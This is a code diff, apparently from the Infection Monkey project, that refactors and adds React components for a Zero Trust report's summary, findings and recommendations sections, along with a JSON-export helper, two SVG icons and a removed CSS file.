</Fragment>
<div id="findings-section">
<h2>Findings</h2>
<p>
Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things
happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper
insight as to what exactly happened during this test.
</p>
<FindingsTable data={findingsByStatus[ZeroTrustStatuses.failed]} status={ZeroTrustStatuses.failed}/>
<FindingsTable data={findingsByStatus[ZeroTrustStatuses.inconclusive]} status={ZeroTrustStatuses.inconclusive}/>
<FindingsTable data={findingsByStatus[ZeroTrustStatuses.passed]} status={ZeroTrustStatuses.passed}/>
</div>
);
}

View File

@ -5,6 +5,8 @@ import * as PropTypes from "prop-types";
import PillarLabel from "./PillarLabel";
import EventsButton from "./EventsButton";
const EVENTS_COLUMN_MAX_WIDTH = 160;
const PILLARS_COLUMN_MAX_WIDTH = 200;
const columns = [
{
columns: [
@ -18,7 +20,7 @@ const columns = [
accessor: x => {
return <EventsButton events={x.events} exportFilename={"Events_" + x.test_key}/>;
},
maxWidth: 160,
maxWidth: EVENTS_COLUMN_MAX_WIDTH,
},
{
@ -30,7 +32,7 @@ const columns = [
);
return <div style={{textAlign: "center"}}>{pillarLabels}</div>;
},
maxWidth: 200,
maxWidth: PILLARS_COLUMN_MAX_WIDTH,
style: {'whiteSpace': 'unset'}
},
]
@ -41,8 +43,8 @@ const columns = [
export class FindingsTable extends Component {
render() {
return <Fragment>
<h3>{<div style={{display: "inline-block"}}><StatusLabel status={this.props.status} showText={true}/>
</div>} tests' findings</h3>
<h3>{<span style={{display: "inline-block"}}><StatusLabel status={this.props.status} showText={true}/>
</span>} tests' findings</h3>
<PaginatedTable data={this.props.data} pageSize={10} columns={columns}/>
</Fragment>
}

View File

@ -1,5 +1,4 @@
import React, {Component} from "react";
import 'styles/ZeroTrustPillars.css'
import {statusToLabelType} from "./StatusLabel";
import * as PropTypes from "prop-types";

View File

@ -0,0 +1,29 @@
import React, {Component} from "react";
import SinglePillarRecommendationsStatus from "./SinglePillarRecommendationsStatus";
import * as PropTypes from "prop-types";
export default class RecommendationsSection extends Component {
render() {
return <div id="recommendations-section">
<h2>Recommendations</h2>
<p>
Analyze each zero trust recommendation by pillar, and see if you've followed through with it. See test results
to understand how the monkey tested your adherence to that recommendation.
</p>
{
Object.keys(this.props.recommendations).map((pillar) =>
<SinglePillarRecommendationsStatus
key={pillar}
pillar={pillar}
recommendationsStatus={this.props.recommendations[pillar]}
pillarsToStatuses={this.props.pillarsToStatuses}/>
)
}
</div>
}
}
RecommendationsSection.propTypes = {
recommendations: PropTypes.object,
pillarsToStatuses: PropTypes.object
};

View File

@ -1,12 +1,12 @@
import React, {Fragment} from "react";
import PaginatedTable from "../common/PaginatedTable";
import AuthComponent from "../../AuthComponent";
import 'styles/ZeroTrustPillars.css'
import StatusLabel from "./StatusLabel";
import * as PropTypes from "prop-types";
import {ZeroTrustStatuses} from "./ZeroTrustPillars";
const MAX_WIDTH_STATUS_COLUMN = 80;
const columns = [
{
columns: [
@ -14,7 +14,7 @@ const columns = [
accessor: x => {
return <StatusLabel status={x.status} size="fa-3x" showText={false} />;
},
maxWidth: 80
maxWidth: MAX_WIDTH_STATUS_COLUMN
},
{ Header: 'ZT Recommendation', accessor: 'recommendation',
style: {'whiteSpace': 'unset'} // This enables word wrap

View File

@ -0,0 +1,52 @@
import React, {Component} from "react";
import {Col, Grid, Row} from "react-bootstrap";
import MonkeysStillAliveWarning from "../common/MonkeysStillAliveWarning";
import PillarsOverview from "./PillarOverview";
import ZeroTrustReportLegend from "./ReportLegend";
import * as PropTypes from "prop-types";
export default class SummarySection extends Component {
render() {
return <div id="summary-section">
<h2>Summary</h2>
<Grid fluid={true}>
<Row>
<Col xs={12} sm={12} md={12} lg={12}>
<MonkeysStillAliveWarning allMonkeysAreDead={this.props.allMonkeysAreDead}/>
<p>
Get a quick glance of the status for each of Zero Trust's seven pillars.
</p>
</Col>
</Row>
<Row className="show-grid">
<Col xs={8} sm={8} md={8} lg={8}>
<PillarsOverview pillarsToStatuses={this.props.pillars.pillarsToStatuses}
grades={this.props.pillars.grades}/>
</Col>
<Col xs={4} sm={4} md={4} lg={4}>
<ZeroTrustReportLegend/>
</Col>
</Row>
<Row>
<Col xs={12} sm={12} md={12} lg={12}>
<h4>What am I seeing?</h4>
<p>
The <a href="https://www.forrester.com/report/The+Zero+Trust+eXtended+ZTX+Ecosystem/-/E-RES137210">Zero
Trust eXtended framework</a> categorizes its <b>recommendations</b> into 7 <b>pillars</b>. Infection
Monkey
Zero Trust edition tests some of those recommendations. The <b>tests</b> that the monkey executes
produce <b>findings</b>. The tests, recommendations and pillars are then granted a <b>status</b> in
accordance
with the tests results.
</p>
</Col>
</Row>
</Grid>
</div>
}
}
SummarySection.propTypes = {
allMonkeysAreDead: PropTypes.bool,
pillars: PropTypes.object
};

View File

@ -0,0 +1,7 @@
import FileSaver from "file-saver";
export default function saveJsonToFile(dataToSave, filename) {
const content = JSON.stringify(dataToSave, null, 2);
const blob = new Blob([content], {type: "text/plain;charset=utf-8"});
FileSaver.saveAs(blob, filename + ".json");
}

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 44 44"><title>im-alert-machine-icon</title><g id="Layer_2" data-name="Layer 2"><g id="originals"><circle cx="22" cy="22" r="22" style="fill:#fc2"/><rect x="10" y="14" width="24" height="16.20144" style="fill:none;stroke:#333;stroke-miterlimit:10;stroke-width:1.9409949287049788px"/><rect x="21" y="17" width="2" height="6" style="fill:#333"/><rect x="21" y="25" width="2" height="2" style="fill:#333"/><rect x="18" y="31" width="8" height="3" style="fill:#333"/></g></g></svg>

After

Width:  |  Height:  |  Size: 529 B

View File

@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 44 44"><title>im-alert-network-icon</title><g id="Layer_2" data-name="Layer 2"><g id="originals"><circle cx="22" cy="22" r="22" style="fill:#fc2"/><circle cx="16.5" cy="7.5" r="2.5" style="fill:#333"/><circle cx="6.5" cy="23.5" r="2.5" style="fill:#333"/><circle cx="11" cy="32" r="2" style="fill:#333"/><circle cx="21.5" cy="37.5" r="2.49988" style="fill:#333"/><circle cx="35" cy="30" r="2" style="fill:#333"/><circle cx="33" cy="12" r="2" style="fill:#333"/><line x1="35" y1="30" x2="22" y2="22" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="21.5" y1="38" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="11.5" y1="31.5" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="21.5" y1="22.5" x2="6.5" y2="23.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="16.5" y1="7.5" x2="22.5" y2="23.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><line x1="33.5" y1="11.5" x2="21.5" y2="22.5" style="fill:none;stroke:#333;stroke-miterlimit:10"/><circle cx="22" cy="22" r="9" style="fill:#fc2;stroke:#333;stroke-miterlimit:10;stroke-width:2px"/><rect x="21" y="17" width="2" height="6" style="fill:#333"/><rect x="21" y="25" width="2" height="2" style="fill:#333"/></g></g></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@ -1,27 +0,0 @@
.label-zt-data {
background-color: #FAD02C !important;
}
.label-zt-people {
background-color: #507581 !important;
}
.label-zt-networks {
background-color: #746233 !important;
}
.label-zt-devices {
background-color: #2F3B29 !important;
}
.label-zt-workloads {
background-color: #0C1440 !important;
}
.label-zt-analytics {
background-color: #6B8836 !important;
}
.label-zt-automation {
background-color: #B4BC82 !important;
}